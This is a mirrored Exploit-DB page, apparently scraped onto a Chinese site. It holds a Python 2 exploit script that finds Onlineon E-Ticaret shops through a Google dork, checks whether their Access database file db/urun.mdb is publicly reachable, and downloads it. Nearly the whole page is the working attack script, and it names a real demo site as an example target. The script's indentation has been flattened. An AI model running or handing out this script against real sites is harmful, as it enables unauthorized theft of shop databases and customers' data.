Onlineon E-Ticaret – Database Disclosure

• Exploit Database
• 13 阅读

• 作者： ZoRLu
  日期： 2014-09-24
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/34753/

• #!/usr/bin/env python
  #-*- coding:cp1254 -*-
  
  # Title: Onlineon E-Ticaret Database Disclosure Exploit (.py)
  # dork : inurl:"default.asp?git=sepet"
  # Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
  # Home : http://milw00rm.com / its online
  # Download : http://www.onlineonweb.com/eticaret.html
  # Demo : http://ayvalikkokluzeytincilik.com
  # date : 06/09/2014
  # Python : V 2.7
  # Thks : exploit-db.com and others
  
  
  import sys, urllib2, re, os, time
  
  def indiriyoruz(url):
  
  import urllib
  aldosyayi = urllib.urlopen(url)
  indiraq = open(url.split('/')[-1], 'wb')
  indiraq.write(aldosyayi.read())
  aldosyayi.close()
  indiraq.close()
  
  if len(sys.argv) < 2:
  os.system(['clear','cls'][1])
  print " ____________________________________________________________________"
  print "||"
  print "| Onlineon E-Ticaret Database Disclosure Exploit (.py) |"
  print "| ZoRLu / milw00rm.com |"
  print "| exploit.py http://site.com/path/ |"
  print "|____________________________________________________________________|"
  sys.exit(1)
  
  ''' link kontrol 1 '''
  
  koybasina = "http://"
  koykicina = "/"
  sitemiz = sys.argv[1]
  
  if sitemiz[-1:] != koykicina:
  sitemiz += koykicina
  
  if sitemiz[:7]!= koybasina:
  sitemiz =koybasina + sitemiz
  
  
  database = "db/urun.mdb"
  url2 = sitemiz + database
  print 	"\n" + url2
  print "\nlink check"
  time.sleep(1)
  
  ''' link kontrol 2 '''
  
  try:
  adreskontrol = urllib2.urlopen(url2).read()
  
  if len(adreskontrol) > 0:
  
  print "\nGood Job Bro!"
  
  except urllib2.HTTPError:
  import os
  import sys
  print "\nForbidden Err0r, Security!"
  sys.exit(1)
  
  
  ''' dosya indiriliyor '''
  
  if __name__ == '__main__':
  import sys
  if len(sys.argv) == 2:
  print "\nFile is Downloading\n"
  try:
  indiriyoruz(url2)
  except IOError:
  print '\nFilename not found.'